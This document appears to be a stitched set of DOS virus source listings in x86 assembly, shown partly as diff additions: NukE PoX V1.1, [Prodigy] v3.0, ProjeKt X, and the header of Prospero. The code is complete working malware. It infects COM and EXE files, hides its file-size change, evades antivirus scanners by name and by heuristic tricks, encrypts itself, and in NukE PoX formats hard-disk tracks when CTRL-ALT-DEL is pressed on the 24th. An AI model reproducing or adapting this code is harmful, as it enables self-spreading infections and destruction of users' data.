mov bx,word ptr cs:[exe_ip][bp] ;Get original IP
mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP
mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS
mov ax,word ptr cs:[exe_sp][bp] ;Get original SP
mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS
mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 0B8h ;This is now a MOV AX,XXXX
Rock_Fix1: ;XXXX is the original SS
dw 0 ;Our XXXX Value
cli ;Disable Interrupts
mov ss,ax ;Mov it to SS
db 0BCh ;This is now a MOV SP,XXXX
Rock_Fix2:
dw 0 ;The XXXX Value for SP
sti ;Enable interrupts
db 0EAh ;JMP XXXX:YYYY
fuck_yeah:
dd 0 ;Dword IP:CS (Reverse order!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 9 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler: ;Every TIME a KEY is pressed
push ax ;This ROUTINE is called!
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave system alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Dir Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected: pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 21 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,7bcdh ;Virus testing
jne int21call
jmp execute
int21call:
jmp dword ptr cs:[int21] ;Split...
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
cmp ax,7bcdh ;Was Virus testing if it was
jne continue ;Alive? If No Continue
push cs
pop ds ;If Yes, Check if COMMAND.CO
mov dx,offset command ;Is infected! And return
jmp continue2
continue:
call check_name ;Make sure file executed
jc exit_now ;Ain't a Anti-Viral program
continue2: ;With the CRC-32 checkers
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,20h
mov dx,offset ds:[buffer] ;Read first 20h bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end of
xor cx,cx ;file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exe_file ;JMP to EXE Infector
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the firs
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
exit_now2:
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
cmp ax,7bcdh ;Virus checking if alive
jne leave_now ;No, Exit normally
mov bx,ax ;Yes, Fix BX with codez
leave_now:
jmp dword ptr cs:[int21] ;Jmp back to whatever
exe_file:
mov cx,word ptr cs:[buffer+20] ;IP Regester
mov word ptr cs:[exe_ip],cx ;Save IP Regester
mov cx,word ptr cs:[buffer+22] ;CS Regester
mov word ptr cs:[exe_cs],cx ;Save CS Regester
mov cx,word ptr cs:[buffer+16] ;SP Regester
mov word ptr cs:[exe_sp],cx ;Save SP Regester
mov cx,word ptr cs:[buffer+14] ;SS Regester
mov word ptr cs:[exe_ss],cx ;Save SS Regester
push ax
push dx
call multiply ;Figure a new CS:IP
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[buffer+22],dx ;Restore New CS
mov word ptr cs:[buffer+20],ax ;Restore New IP
pop dx
pop ax
add ax,virus_size
adc dx,0
push ax
push dx
call multiply ;Figure a new SS:SP
sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall
add ax,40h
mov word ptr cs:[buffer+14],dx ;New SS Pointer
mov word ptr cs:[buffer+16],ax ;New SP Pointer
pop dx
pop ax
push bx
push cx
mov cl,7 ;Fix for Header for
shl dx,cl ;new file size in 512
;byte pages
mov bx,ax
mov cl,9 ;And the remainder
shr bx,cl ;after dividing by
;512...
add dx,bx
and ax,1FFh
jz outta_here
inc dx
outta_here:
pop cx
pop bx
mov word ptr cs:[buffer+2],ax ;Save Remainder
mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag
call infect_me ;INFECT File! Yeah!
jc exit_exe
mov ah,40h ;Write NEW EXE Header back
mov dx,offset ds:[buffer] ;to EXE File! Points to
mov cx,20h ;The Virus Now!!! ehhe
int 21h
exit_exe:
jmp exit_now
rocko endp
exe_ip dw 0 ;Original IP,CS,SP,SS From EXE
exe_cs dw 0 ;Header!
exe_sp dw 0
exe_ss dw 0
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,40h ;Write the New Encrypted
mov dx,offset init_virus ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Fix EXE Header...Gets new SS, CS Values for EXEs headers
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
multiply proc near
push bx
push cx
mov cl,0Ch
shl dx,cl
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,0Fh
pop cx
pop bx
retn
multiply endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check to see if an `Anti-Viral' Product is being executed.
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
check_name proc near
push si
push cx
mov si,dx
mov cx,128h
loop_me:
cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String
je next_ok
inc si
loop loop_me
next_ok:
cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT)
jne next_1 ;Naaa
cmp ds:[si-4],'RP'
je bad_file ;Yupe...
next_1:
cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee)
jne next_2 ;Naaa
cmp ds:[si-4],'CS'
je bad_file ;Yupe...
next_2:
cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE
jne next_3 ;Naaa
cmp ds:[si-4],'EL'
je bad_file ;Yupe...
next_3:
pop cx
pop si ;good file Set CARRY FLAG
clc ;to normal
retn
bad_file:
pop cx ;Bad file, Set CARRY FLAG
pop si ;ON!!!
stc
retn
check_name endp
command db "C:\COMMAND.COM",0 ;What to infect!
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
db 30h DUP (?)
msg db "NukE PoX V1.1 - R.S"
last:
seg_a ends
end start
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,244 @@
; - [Prodigy] v3.0
; Metabolis/VLAD
; _ _ .---------.
; | | |_| | T H E |
; | | _ `---------'
; _____ _____ _____ ___| | | | ______ _ _
; | _ | | .-. | | _ | | _ | | | | ___/ | | | |
; | |_| | | `-' | | |_| | | |_| | | | | |___ | | | |
; | ___| |_|~\_\ |_____| |_____| |_| \_,. | |_|_|_|
; | | .---------------------. | | | |
; | | | - VIRUS! v3.0 - | | | | |
; |_| `---------------------' |_| |_|
;
; - Direct Action, Parasitic .COM infector
; - Restores original attributes and file date/time
; - Searches '..' until there are no more files to infect
; - Won't infect COMMAND.COM
; - Has an infection counter (set to infect 2 at a time right now)
;
; - sure, this virus is simple, and not really worth releasing.. but
; not everyone is up to understanding Qark's level of code,
; certainly not me. So for the people who are just starting off
; take a look at this one. It's the 3rd virus I've written, the
; other 2 definately not worth publishing :) hehe
;
; - Use a86 to compile
org 0100h ; yer COM file starts
; at this mem address
db 0e9h,00h,00h ; jump to begin
begin:
call $+3 ; get the delta offset
next: int 3h ; (overcomes 'E' heuristic)
pop bp ; for the virus and
sub bp, offset next ; stick it in BP
set_dta:
lea si, [bp+offset first3]
mov di, 100h
movsw
movsb
; the virus puts the original three bytes of the program back
; at 100h so all we have to do at the end of the virus is jump
; to 100h and it will execute the infected program as normal
mov byte ptr [bp+counter], 00h ; initialise infection
; counter
mov ah,47h ; get current directory
xor dl,dl ; and put it in currdir
lea si,[bp+offset currdir] ; (dl=0 <- default drive)
int 21h
mov ah,1Ah ; Set DTA to buffer
lea dx,[bp+offset tempDTA] ; so command line params
int 21h ; aren't overwritten
find_first:
mov ah,4eh ; find first file
mov cx,7 ; with any attributes
dec byte ptr [bp+offset mask]
; the reason I dec the '+' in the filemask is because this
; makes it an asterisk. This will get past scanners picking
; up *.COM as a heuristic.
lea dx,[bp+offset mask] ; look for *.COM
int 21h
inc byte ptr [bp+offset mask]
; this restores the '*' in the filemask to '+' for writing
; back to disk.
jnc open_file ; no files to infect..
jmp load_com
fn:
jmp find_next
; find_next is too far from most places so I've set this up to
; make life easier :) it gets around the jump > 128 error.
open_file:
; when a file is found with either find first or find next
; all of its details like size, attributes, name etc are stored
; in an area called DTA which resides at 80h (just before the
; COM itself at 100h). In this case, the DTA has been moved
; to another address. The different details are positioned
; at various positions from 80h. 9eh for instance is the
; position of the filename (ASCIIZ)
cmp word ptr [bp+tempDTA+1eh],'OC' ; don't infect command.com
je fn ; uh oh.. find another file
lea dx,[bp+tempDTA+1eh] ; filename in DTA
mov ax,4301h ; put normal attributes
mov cx,20h ; on the file
int 21h
jc fn ; error, we outta here
mov ax,3D02h ; open that file!
lea dx,[bp+tempDTA+1eh] ; filename in DTA
int 21h
jc fn ; can't open file :(
xchg bx,ax ; put file handle in BX
infect:
mov cx,3 ; read 3 bytes from file
mov ah,03Fh ; and stick them in first3
lea dx,[bp+offset first3]
int 021h
lea cx,word ptr [bp+offset first3] ; put the first 2 bytes of
; the file in cx
add cl,ch ; add the two bytes together
cmp cl,167 ; M+Z=167 ?
je fn
; if I simply compared the first two bytes to 'MZ' (or 'ZM' since
; it would be a word) this would set off a tbscan heuristic, so
; I've used the adding method, although N+Y=167 it is not really
; worth worrying about, I have seen the first two bytes of a COM
; file equal 167 yet.
call lseek_end ; move to the end of the file
sub ax,heap-begin+3 ; subtract the virus length
cmp word ptr [bp+first3+1],ax ; see if jump is to virus
je fn ; file already infected
add ax,heap-begin ; add on to know where to
mov word ptr [bp+infjump+1],ax ; jump to and fix it up
mov ax,4200h ; lseek to beginning of file
cwd ; xor dx,dx
xor cx,cx
int 21h
mov cx,3 ; write 3 bytes to file
mov ah,40h ; (the new jump to the
lea dx,[bp+offset infjump] ; virus)
int 21h
call lseek_end ; move to the end of the file
mov cx,heap-begin ; write the virus
mov ah,40h ; to the end of the
lea dx,[bp+offset begin] ; file
int 21h
call close_file
load_com:
inc byte ptr [bp+counter] ; add one to the counter
cmp byte ptr [bp+counter],2 ; check if X files have
jne find_next ; been infected
mov ah, 1Ah ; restore DTA to original
mov dx, 80h ; position
int 21h
mov ah,3bh ; Change directory
lea dx,[bp+offset slash] ; to the way it was
int 21h ; before the dot dot
mov bx,101h ; we need to jump to 100h
dec bx ; this will knock out a
jmp bx ; tbscan heuristic :)
find_next:
call close_file ; make sure file is closed
mov ah,4fh ; find next file
int 21h
jc dot_dot
jmp open_file ; infect the bastard!
dot_dot:
mov ah,3bh ; change directory
lea dx,[bp+offset dds] ; to '..' from the
int 21h ; current directory
jc load_com
jmp find_first
close_file:
xor cx,cx
mov cl,byte ptr [bp+tempdta+15h] ; get old attr from DTA
lea dx,[bp+TempDTA+1eh] ; position of filename in DTA
mov ax,4301h ; set attr to original
int 21h
mov cx,word ptr [bp+tempDTA+16h] ; date and time
mov dx,word ptr [bp+tempDTA+18h] ; date and time
mov ax,5701h ; set file date/time
int 21h
mov ah,3eh ; close file
int 21h
ret
lseek_end:
mov ax,4202h ; get to the end
cwd ; of the file (xor dx,dx)
xor cx,cx
int 21h
ret
quote db 0dh,0ah
db '[Prodigy] v3.0 by Metabolis/VLAD',0dh,0ah
db '"Feel the jungle vibe baby"',0dh,0ah
db '"In the jungle, In the jungle.."',0dh,0ah
; [Prodigy] v3.0 by Metabolis/VLAD
; "Feel the jungle vibe baby"
; "In the jungle, In the jungle.."
; Quote from "Ruff in the jungle bizness" by the Prodigy :)
infjump db 0e9h,00h,00h ; jump to the virus
first3 db 0cdh,20h,00h ; First 3 bytes of the
; com file that was infected
dds db '..',00 ; '..' for dir recursor
mask db '+','.COM',00 ; filemask (for finding files)
slash db '\' ; fix for currdir
; when you use the get current directory function it doesn't
; put a '\' at the beginning of it, so it's not possible to
; change to the directory if you store it straight away,
; that's why I change to directory from offset slash rather
; than currdir since it's ASCIIZ.. (string ending in a zero)
heap:
currdir db 64 dup (?) ; storage for default dir
counter db 00 ; infection counter
tempdta db 43 dup (?)
; everything after heap doesn't actually get written to disk when
; the virus infects a file.
@@ -0,0 +1,519 @@
; PROJEKTX.ASM : ProjeKt X
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'AI' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
mov bp,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
mov bx,offset startencrypt ; start of decryption
decrypt_loop:
db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc bx ; calculate new decryption location
inc bx
dec bp ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],3 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
call get_second
cmp ax,0032h ; Did the function return 50?
jl skip00 ; If less, skip effect
jmp short activate_one ; Success -- skip jump
skip00:
call get_hour
cmp ax,0017h ; Did the function return 23?
jne skip01 ; If not equal, skip effect
call get_weekday
cmp ax,0003h ; Did the function return 3?
jne skip01 ; If not equal, skip effect
jmp activate_two ; Success -- skip jump
skip01: jmp exit_virus
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate_one: ; Conditions satisfied
mov cx,0003h ; First argument is 3
new_shot: push cx ; Save the current count
mov dx,0140h ; DX holds pitch
mov bx,0100h ; BX holds shot duration
in al,061h ; Read the speaker port
and al,11111100b ; Turn off the speaker bit
fire_shot: xor al,2 ; Toggle the speaker bit
out 061h,al ; Write AL to speaker port
add dx,09248h ;
mov cl,3 ;
ror dx,cl ; Figure out the delay time
mov cx,dx ;
and cx,01FFh ;
or cx,10 ;
shoot_pause: loop shoot_pause ; Delay a bit
dec bx ; Are we done with the shot?
jnz fire_shot ; If not, pulse the speaker
and al,11111100b ; Turn off the speaker bit
out 061h,al ; Write AL to speaker port
mov bx,0002h ; BX holds delay time (ticks)
xor ah,ah ; Get time function
int 1Ah ; BIOS timer interrupt
add bx,dx ; Add current time to delay
shoot_delay: int 1Ah ; Get the time again
cmp dx,bx ; Are we done yet?
jne shoot_delay ; If not, keep checking
pop cx ; Restore the count
loop new_shot ; Do another shot
jmp go_now
go_now:
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the
; screen, too.
mov ax,1112h ; We are gunna use the 8*8 internal
; font, man.
int 10h ; Hey man, call the interrupt.
mov ah,09h ; Use DOS to print fake error
; message
mov dx,offset fake_msg
int 21h
mov ah,4ch ; Lets ditch.
int 21h ; "Make it so."
jmp exit_virus
activate_two: ; First, get current video mode and page.
mov cx,0B800h ;color display, color video mem for page 1
mov ah,15 ;Get current video mode
int 10h
cmp al,2 ;Color?
je A2 ;Yes
cmp al,3 ;Color?
je A2 ;Yes
cmp al,7 ;Mono?
je A1 ;Yes
int 20h ;No,quit
;here if 80 col text mode; put video segment in ds.
A1: mov cx,0A300h ;Set for mono; mono videomem for page 1
A2: mov bl,0 ;bx=page offset
add cx,bx ;Video segment
mov ds,cx ;in ds
;start dropsy effect
xor bx,bx ;Start at top left corner
A3: push bx ;Save row start on stack
mov bp,80 ;Reset column counter
;Do next column in a row.
A4: mov si,bx ;Set row top in si
mov ax,[si] ;Get char & attr from screen
cmp al,20h ;Is it a blank?
je A7 ;Yes, skip it
mov dx,ax ;No, save it in dx
mov al,20h ;Make it a space
mov [si],ax ;and put on screen
add si,160 ;Set for next row
mov di,cs:Row ;Get rows remaining
A5: mov ax,[si] ;Get the char & attr from screen
mov [si],dx ;Put top row char & attr there
A6: call Vert ;Wait for 2 vert retraces
mov [si],ax ;Put original char & attr back
;Do next row, this column.
add si,160 ;Next row
dec di ;Done all rows remaining?
jne A5 ;No, do next one
mov [si-160],dx ;Put char & attr on line 25 as junk
;Do next column on this row.
A7: add bx,2 ;Next column, same row
dec bp ;Dec column counter; done?
jne A4 ;No, do this column
;Do next row.
A8: pop bx ;Get current row start
add bx,160 ;Next row
dec cs:Row ;All rows done?
jne A3 ;No
A9: mov ax,4C00h
int 21h ;Yes, quit to DOS with error code
;routine to deal with snow on CGA screen.
Vert: push ax
push dx
push cx ;Save all registers used
mov cl,2 ;Wait for 2 vert retraces
mov dx,3DAh ;CRT status port
F1: in al,dx ;Read status
test al,8 ;Vert retrace went hi?
je F1 ;No, wait for it
dec cl ;2nd one?
je F3 ;Yes, write during blanking time
F2: in al,dx ;No, get status
test al,8 ;Vert retrace went low?
jne F2 ;No, wait for it
jmp F1 ;Yes, wait for next hi
F3: pop cx
pop dx
pop ax ;Restore registers
ret
jmp exit_virus
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
get_hour proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,ch ; Copy hour into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_hour endp
get_minute proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,cl ; Copy minute into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_minute endp
get_second proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,dh ; Copy second into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_second endp
note db '[ProjeKt X]',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,3230 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
fake_msg db "If YOU can be a half-wit, so can I!!$"
Row dw 24
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
@@ -0,0 +1,761 @@
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;-------------------------------------------------------------------------
; Prospero Virus
;
; (C) Opic [Codebreakers 1998]
;-------------------------------------------------------------------------
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;IMPORTANT NOTES:
;compiled with TASM 4.1 and TLINK 7.1
;to compile: TASM prospero.asm
; TLINK /t prospero.obj
;Rename Prospero.com Prospero.exe (this is to avoid prospero infecting
;itself first generation only
;Type: appending .com infector
;virus size: 1st Gen 1723 bytes
;infected files grow 1712 bytes
;searches *.c* then comfirms *.COM
;does NOT infect command.com
;nor files bigger the 63824 bytes
;Encryption: 5 types (XOR, NEG, ROR, ROL,and NOT)---|
; used in combination for 7 algorithms <---------|
;Polymorphic: Yes (well Oligomorphic if you wanna get picky), there is a
;stock of 7 different 3op encryption algorithms and delta offsets rutines
;from which the virus chooses (a different type of encryption and delta
;offset is choosen every day of the week). the rest are safely
;encrypted inside the virus body.
;antiheuristics: yes.
;Directory Transversal: DotDot method
;restores infected file time/date stamps
;restores infected file DTA
;Rate of infection:no more then 7 per run
;restores infected file attributes
;payload criteria:The virus will manifest a payload on
;the 1st day of the month if the minutes are above 30.
;payload:a large graphical color text effect as well as a message
;is delivered from through printer:
;************************PROSPERO!**************************
